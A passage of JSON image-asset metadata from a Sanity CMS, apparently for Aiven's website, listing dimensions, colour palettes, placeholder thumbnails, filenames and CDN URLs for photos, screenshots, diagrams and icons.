title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a16753","foreground":"#fff","population":1.97,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c76a2d","foreground":"#fff","population":1.27,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Aiven Live Doccla on stage.jpeg","path":"images/sczeoy4w/production/42acfe601ed90a9ab106226523715e0026851e4c-2048x1365.jpg","sha1hash":"42acfe601ed90a9ab106226523715e0026851e4c","size":381424,"uploadId":"uzXMHMXtFuVRPTbYlUiE5nHd7FgBe7Ut","url":"https://cdn.sanity.io/images/sczeoy4w/production/42acfe601ed90a9ab106226523715e0026851e4c-2048x1365.jpg"} {"_createdAt":"2022-06-30T20:10:26Z","_id":"image-42f9de755dc6ec1aa1386e5fa0f4267dac400d34-935x178-png","_rev":"cEPH2uRN58AU2lp9QO8H1d","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:29:07Z","assetId":"42f9de755dc6ec1aa1386e5fa0f4267dac400d34","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"4GBfI|r_3?wNyG","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":5.252808988764045,"height":178,"width":935},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAAAsTAAALEwEAmpwYAAABT0lEQVQYlQFEAbv+AD+JxgVKhsYEIf//AHIpdAO4Po81xUKRb8pAjT/FNXsG/8LLAOEqfwTgLYAEelGlAK46jwm/P5BKx0GQbM0/jSkA//8AFabVARKdygQIpNEEAFKSxlVZlspCU5PFFTs+VwmAQngvlkJ/UpNCejNePV8KszmKFsxAkELWQo9B2DyGE2s8bQqPQX45mEGAT5ZBeiExTFsDGoyuHRiWukYUnMNHAE6NwadVk8aDT4y+LS1CUwtLR14bVUVjJVFHYBo6PFMLqDqLL8FCk4TMRJKByT2HK0A8UQpQRmIcVUVjJFBFXRIqU2MJGoSjPBmPsosXl7yOADZ9tY0+g7puPoC2JStATQQ0TFIGK0lOBzJMUgYsOk0FnjeMJrM8k2+9PJFsvDiGIzE8RAQxS1IGK0pPBzNITgUpUGAGFXqZMRSFpnMWjrF1QfZ3FV82P4QAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#763370","foreground":"#fff","population":0.18,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#84043c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f089cd","foreground":"#000","population":0.27,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#87115f","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f089cd","foreground":"#000","population":0.27,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ab5185","foreground":"#fff","population":0.21,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0aaad4","foreground":"#fff","population":0.08,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"42f9de755dc6ec1aa1386e5fa0f4267dac400d34-935x178.png","path":"images/sczeoy4w/production/42f9de755dc6ec1aa1386e5fa0f4267dac400d34-935x178.png","sha1hash":"42f9de755dc6ec1aa1386e5fa0f4267dac400d34","size":60135,"uploadId":"xsShDW3ZCrCObVcs85kBuRHr8J0GWE8n","url":"https://cdn.sanity.io/images/sczeoy4w/production/42f9de755dc6ec1aa1386e5fa0f4267dac400d34-935x178.png"} {"_createdAt":"2023-08-17T14:48:26Z","_id":"image-4314c5ad8fe397790ee67e8e5281444dfd923567-1999x992-png","_rev":"XPsPxQ3o95dhiSIpxOCkCO","_type":"sanity.imageAsset","_updatedAt":"2023-08-17T14:48:26Z","assetId":"4314c5ad8fe397790ee67e8e5281444dfd923567","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M8SPb5Mv0nx?0M?vE3E2ItS6~p0N9E03em","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.0151209677419355,"height":992,"width":1999},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAABfElEQVQokYWS3U7bQBSE/cotvAF9GSSkXiBxFSFuwhWiatPacQgQCCTKGu86u/Z6/6fadYNQg+BIn2TJoxnP8cm+nJb4dvGAq2cB6zzihBA+Zaf7f7Kv33/jaHSL8X0NIXt45z41ijM8h7332dlkjdGUYLp6wbom2AoO59xe8s7k/ZDwStZpCyE1CKO42zxhVRP0softNUzEmFdikPd+r6pxgNADWUr2Hq3sQBoKJraQDYdYrEEXK7yQClVVoa5rtG0LrXUy3mGsR1kHnEwHspjmQ0hfIKVErxQUb8FulniclJjPbjCbzTCfz7HZbJKpEAKUMXC+Be8URvcOh+ceByM3GMakruvAOYdSCtYY8JphcXuHsiyR5zmKosByuUxmUUcIAaMUnVTIK4/j3OP4j0PWMAb2jyg2xqYdaWPAmiZVjZWjQdM0qYm1Fn3fp/pxp9oFbNVANvn5C9OiAKU0Cd/eWBRHdvt674fs3eHleIwf19cp/e1pfDQf3elfTJABlewVw9cAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3b6373","foreground":"#fff","population":0.24,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0464b6","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0a83e1","foreground":"#fff","population":2.06,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b7bfc0","foreground":"#000","population":1.39,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc6ca4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6ca46c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0a83e1","foreground":"#fff","population":2.06,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"4314c5ad8fe397790ee67e8e5281444dfd923567-1999x992.png","path":"images/sczeoy4w/production/4314c5ad8fe397790ee67e8e5281444dfd923567-1999x992.png","sha1hash":"4314c5ad8fe397790ee67e8e5281444dfd923567","size":190112,"uploadId":"WbM9qQGrnUuc0sIbPpzcvFQbjsDFsIRF","url":"https://cdn.sanity.io/images/sczeoy4w/production/4314c5ad8fe397790ee67e8e5281444dfd923567-1999x992.png"} {"_createdAt":"2022-06-30T19:56:59Z","_id":"image-4318aa1f9b3b11e3abf026b79b3241293099563b-750x149-png","_rev":"cEPH2uRN58AU2lp9QO7gj3","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:17:20Z","assetId":"4318aa1f9b3b11e3abf026b79b3241293099563b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"404_z#*wTzR400","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":5.033557046979865,"height":149,"width":750},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA0klEQVQYlW3MzW6EIAAEYK91D81ugrtVEX8giAICYpq2h33/V/LANG6bNGl7+DKZw0ymh2pftEoxrti2LcUYEUKAWxZYa/+1WAvnHNwaYUKE1BZCjpBSIiOX5533bQreI67rI733j0NjDPQ8Y/5tmiBGhUZ7sNc76PqBaydQXG/I8vxpr8qXNCkFo3XS09dgVhNGKSE4/4MPA5q2RSkUuviONryhYD3O5wuyU37aC0ISoxQdY6lj7Ei0h6YBO1D647vXZYmmrsD5gJ5zlFUNQgg+Aa9fczB4bQCYAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c6372","foreground":"#fff","population":3.54,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#604226","foreground":"#fff","population":0.13,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3c6372","foreground":"#fff","population":3.54,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#7fa2b2","foreground":"#000","population":1.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d9bba0","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8a7d6f","foreground":"#fff","population":0.51,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b67d48","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"4318aa1f9b3b11e3abf026b79b3241293099563b-750x149.png","path":"images/sczeoy4w/production/4318aa1f9b3b11e3abf026b79b3241293099563b-750x149.png","sha1hash":"4318aa1f9b3b11e3abf026b79b3241293099563b","size":22362,"uploadId":"7Cr4UlXsil9HFE4Yl96G9timXDIgZMyx","url":"https://cdn.sanity.io/images/sczeoy4w/production/4318aa1f9b3b11e3abf026b79b3241293099563b-750x149.png"} {"_createdAt":"2023-01-17T09:47:31Z","_id":"image-43266c6c979a8101d976cd00fb40c30561178f3e-1440x701-png","_rev":"E3MJ1tvkRvxse5neCiLIdb","_type":"sanity.imageAsset","_updatedAt":"2023-01-17T09:48:01Z","altText":"The Hookdeck interface showing a webhook called kafka-aiven","assetId":"43266c6c979a8101d976cd00fb40c30561178f3e","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.0542082738944365,"height":701,"width":1440},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAABYElEQVQokXWSS07lMBBFs//VsBPUAxbABKQneORjl+tnX1TlhO5GMLiy5aSOT1WyPDwynp43vL1/gIggqqDWMsySaY2hquh9YIyZ2LMO7K2PQvmOi2hZ/jw3vL5XVGpZJKIolVBrA4uisYAo4ArznlF1UBMEqDQblSTqnVnKsu6UgGnQIWrYj4LjqGknJzTgop6pxFjXHR/rjlLbiOetiXMYHrWhXsAx8va9ELa9gKJVc5h5rgFjsexm2w+s64aj1BEXq5qreVm20vLGKIrZqHXsZNiKgthOYM/zyzCgjad5Yx3RlZq7Wi9LtMvM2W4AY0bEHZWjcAIuu7nv3zPiuaq7qJclv6zIF9A9TP7a5D7trtW/Z8z3u0sYBszM4BFV+NQ/b592/yaK/z8LwzybMyyloNaa/6ASwXLAnja5nm1O0A/Rs2ULQy/L7XbDy8sr7vc7pDEsDC/gObsfQb8APwFNuw2RVPCuZgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#445474","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2854ac","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#96a0c1","foreground":"#000","population":0.04,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#96a0c1","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#64c4fc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4d69a8","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0454ec","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"hookdeck-connection.png","path":"images/sczeoy4w/production/43266c6c979a8101d976cd00fb40c30561178f3e-1440x701.png","sha1hash":"43266c6c979a8101d976cd00fb40c30561178f3e","size":84795,"title":null,"uploadId":"xALnMqlJcIlBP8iMV02IMpxmaMFdEtZL","url":"https://cdn.sanity.io/images/sczeoy4w/production/43266c6c979a8101d976cd00fb40c30561178f3e-1440x701.png"} {"_createdAt":"2024-08-23T08:09:08Z","_id":"image-4326c322324be5a40c97b0a775b1d2d9b49b2036-802x1042-png","_rev":"tVsvU5cy3KqqbnxT6UCVXM","_type":"sanity.imageAsset","_updatedAt":"2024-08-23T08:09:08Z","assetId":"4326c322324be5a40c97b0a775b1d2d9b49b2036","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"dFK-2,jZ00tkIm%MDjxu2Kbb:%s98wIU.8t78wRj?^X8","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.7696737044145874,"height":1042,"width":802},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#31355b","foreground":"#fff","population":0.34,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#520e05","foreground":"#fff","population":0.2,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#657094","foreground":"#fff","population":0.88,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4b5cc","foreground":"#000","population":0.32,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcdcdc","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#657094","foreground":"#fff","population":0.88,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3c84b4","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"diagram-sql-aiven-ai-database-optimizer.png","path":"images/sczeoy4w/production/4326c322324be5a40c97b0a775b1d2d9b49b2036-802x1042.png","sha1hash":"4326c322324be5a40c97b0a775b1d2d9b49b2036","size":51044,"uploadId":"NeLwl2TpgwAJaU0EJwypYctl0Qm3VPF6","url":"https://cdn.sanity.io/images/sczeoy4w/production/4326c322324be5a40c97b0a775b1d2d9b49b2036-802x1042.png"} {"_createdAt":"2024-06-26T14:18:31Z","_id":"image-436b4bd753779bd43e780801da8722e9224a6cb2-1200x630-png","_rev":"FWfcFyz4v76XPZNTIFRbW1","_type":"sanity.imageAsset","_updatedAt":"2024-06-26T14:18:31Z","assetId":"436b4bd753779bd43e780801da8722e9224a6cb2","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5TN7%.qem=|dC}XjGf6j[e.Y+ghgNeThe","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7EAAAOxAGVKw4bAAABkUlEQVQokY3SS0vUYRjG4Wf+My7SIoigNEIXCW2SahWk69qmiefzKcRxxhlnjGwhKAxCB1r0AWqXi6CWfbj3ilFDGydscW8vfi/PG4bD8UaC0WAsmAymg9lgPlgKVoK1YD3YCErBVlANakH9ZHEpuPAPcDMotwNftAEnWgoXW8BixlaeaoFannruBNw5X/gyGC8w1cFUxkzGfMZijuUcq6dgsYPdHg4HePeYRj+7XS1gs3LiCuX7vH7EZi+lu1R62e6l0k3xKusFKtf5OMS3Nb6X+DLCfk8bcO4GB8/4NMbeU/aecDBIY4i9h1RvUeykfpPPz/m5w699jpZp9LV58mQnxX5qD9jsO1fYR+U2G38Kr/FhkKN1flT5OsrBnTMwDYfjjYQ0lkmTeWkqk2YyaS6TFjNpOSethrQW0kZBetMtHQ5I7x9LjXvS2y6pHsf7vyu3fptijnLzynm2s7MrN8G/CkdDGg9pMqTpkGZDWghpKaSV08L1ZmVImyGVQ6qGVDupSxeefBn46hxYCmnrIvgbVTAc42VSKnAAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#832b01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":23.25,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cfaf94","foreground":"#000","population":0.12,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9bd73","foreground":"#000","population":0.25,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#aa8a67","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":23.25,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Laredoute hero.png","path":"images/sczeoy4w/production/436b4bd753779bd43e780801da8722e9224a6cb2-1200x630.png","sha1hash":"436b4bd753779bd43e780801da8722e9224a6cb2","size":22147,"uploadId":"R7hE85lqqbnCUzQ04YAWyr7SEvzGRpoy","url":"https://cdn.sanity.io/images/sczeoy4w/production/436b4bd753779bd43e780801da8722e9224a6cb2-1200x630.png"} {"_createdAt":"2024-07-16T13:22:12Z","_id":"image-4371c7aa0bd298b250c3778db511721e4ce29496-908x908-png","_rev":"7TSbNTeKBQNzcdaFtHw2cZ","_type":"sanity.imageAsset","_updatedAt":"2024-07-16T13:23:55Z","altText":null,"assetId":"4371c7aa0bd298b250c3778db511721e4ce29496","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eCRuBl$*00wJ0z#SfPbbfjbH00ae49W=7LxufRV@f6W=0zay71WWxa","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":908,"width":908},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAG66AABuugHW3rEXAAADkElEQVQ4jXWV32vXdRTGT9uy5SyUBlkU4Y11VV4UBrGCcKhhuc/ZD9tERkPbrGVh6Mpczr5zsyYMNslZGtTCdGtZSCP/A/FGZVAgQka3erGaKemeV5zP+7NpRBdn78N7vJ/Pc55zzvM13IysCLe75HY/bitx24nbKdwuy+0v3K7j9jtup3Hrxq0GtyXxpnibR0rSRQVuy+TWitsoblNyu1IAzcptFrcbcruK28+4jcmtHbflcrt7DvROsCdwex+3M3Kbxk24QWZQV0Tkcecmuc3gdg63Em4rcFugLAEG5WVkOdgUmf1dAEiZifoyqekeqWlBnhN3dXnEB27idhG33oJQWQCGZlHmmRysvgxaFom2h0Tn4+K9Z8XeWtFTK7pWSp3Lpbalorlq7gO3cLsgtzdxq7aiAaNkNp2DbXlUlNaKg23w2Rvi6DZxZBt5RB53w6/BR6vF5ocDNJhew+0kbrVWdHMqL6N5oSitEce6E1j/K/BBDWx/CravgN3Pw/718HmnOLYb9rwobagMlsjtktwGrBiNK7kmG++TBhrFRJ/4dDOU1kDPKuh+IUXkpbUw0g4T/aJ/fSIRb93+wO1sAF7ORyM6GMLvei4B/jgE3+6DU4PpnOgv8l6YPAhjJbHzGdFYkTPE8wZNB2AMbcxYaCHaHkzsxkvwxTsw3hvlw5G3EtjRt9MHhlqh9YHU9WKUIg/A68oSoHIdq0Tfy3DodXINRzpS6fvWweEO6Itza7oL/eJNvE3AMqV1ujHPsLVaDLWKbz5MD4/3kDMO4BM96Ty+BwZbYNPiNKuJYYzPjBW7eTXXobFC2vG0GC+Jnw7ByY9hcjjp993+lMd5eiRAlXe/oXyuy3/idj4AuxW7GdRbFkmf1IsfDsBol/Kyg2V0NSLyuPt6l/h+IMoXr9471+VfcRuKkmvkNkadzdC8EHpfEif2ii93RHni8NYIbkeH+Korypd6VokNlSFVGMgkbuussKB2MjtHQ/lN2h9Lm3KgScRM/jfI/xebsuWR2JRZMvsFt3dxW5p7YGFB4RoX1VB+i+aqXHA2LflXaD5fHAMNDWWzyuw33AZxexK38jk/DD8LC+olswuqs2vzlvX/EcsQzAaV/KDyth+uzs8FYUGFa8SiXyrWKTYgn7FiNKKb0YDQLMoMZpU0JHL5nzDG4megjMyqyayWzAbkdjbW6Q7AGbmdx204GhCaRZkKjCL+AVQrnxK/pSyVAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#65443c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c22004","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":48.16,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4ac7c","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcac73","foreground":"#000","population":0.06,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ad8c70","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":48.16,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"icon-fintech.png","path":"images/sczeoy4w/production/4371c7aa0bd298b250c3778db511721e4ce29496-908x908.png","sha1hash":"4371c7aa0bd298b250c3778db511721e4ce29496","size":19201,"title":null,"uploadId":"3S2TNb33LSLdpXSooDFwqLZltWsmZAsI","url":"https://cdn.sanity.io/images/sczeoy4w/production/4371c7aa0bd298b250c3778db511721e4ce29496-908x908.png"} {"_createdAt":"2024-06-25T18:30:22Z","_id":"image-4373618d9477e582690697f5f8e4a05c63559d5f-1516x1122-png","_rev":"m4mXZHpK6l56U588DBNVLd","_type":"sanity.imageAsset","_updatedAt":"2024-06-25T18:30:22Z","assetId":"4373618d9477e582690697f5f8e4a05c63559d5f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V26kuy4T0K.A9Z?0k7D#nSbwDzi[DN%h%LKnRotSxw$*","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3511586452762923,"height":1122,"width":1516},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAACToAAAk6AGCYwUcAAADmUlEQVQ4jU3U+1ITdxjG8dyColQCm3P2kM1ms9lDwoaESGjEllrtdNqx01bFUpXzuQhoEhISIJAI9uBM22lnevjHC+iMN/ftbHBqb+Azv9/7Ps/ru+T/msv++wwMz3BlZJYrwiOGIvPEkhuo5g6a8wwtW0V16mQKJxSnXmEWzwmpDYbFKoJcR5AbCEoLIXGIrw8Oe+DDPjgYfExQXkazd3CKdUYnDsiWDjDyLSq3f+PB/Bs+/uI1itUhoNQJq00iWouwdkhAfQte8t/nsn+GgZFv+mBIWSGV3cUZ3ydfPsAtt7CKh9y48zv3599w6+5rZPO4D4pGm6RzgmyeENKO8V0evscVYYbBwCyDgW+5GnjMSGyRpLmN6VYx3BqGW0cfbaC7R9ilc3S3SzTlvayBYh2hZU+RMh2CySN8Q9FZQoo3s2VC8hLXwnOEpBWul/aZqhxiunWS2RqqXSOiPUOQdlEzDSYme4xNvCBT6JHO90g4XaJ6B19QnkPSV1DNDUR9DUFcQk5tcvuDYz671SVfOsAsNDHyTUTDW8IuObfNg89f8eknryhWvidXfokxdoZs9y7AqLqIlFomllwlnFglntrEcauMFvYx83UMd7//Zdn0lvCctNOi8n6PcuUMt3yGVXxBMttFcV7gC8hzhJPLRPV1Isk1QsoqocQacX2bhLVHerRO2m2g5Txwn6hWRTKaJKw2mbETRsvnZMZ6/aXIVg+fIM8TcGoES12C5nOCHqisIaa3SWWrWIUmVrFFOt8iYTeI6TVEo4mUaTF64wemv/qb4vTPKPYpkgcGlAXC10+J3fmDyNgRYXWdiLqObDztg5l8A7NwkUPVaRJP1/8Dx2//ypfr/zB19y8STu8t6M3Q3kMstomauwTkFQLSCjFtC9nYQcnskbCqJOw6YrrWn2FUqxM3DrDLL7l590+K07+gZntIZhffUGQWQZwjKC8SEBf7tbsWWSAgeQvaJJz4jrD6lJi+h5ipEUtVEY0GstW+yGDuBN3todhdIl5sBkbucVV4eBHs4CPeCz3BH11AEFcQxDVGxHVGpC1kq0quckx28oRc5Rx78iWydURcb/dbE9WP31Xv4jhcdHko/ISg5IV8FUFcZTi+hiBtoTg1Ch+eMv7RGeO3fsK9+SPJXIeEdYRsdvpdfncc/ndtvC4PRRbwR5fwR5cZiqzij28QTu6g5ZrYpQ526ZRk7hgp00bOHBJPHxJU233wXy38Kh7lC1c3AAAAAElFTkSuQmCC","palette":{"_type":"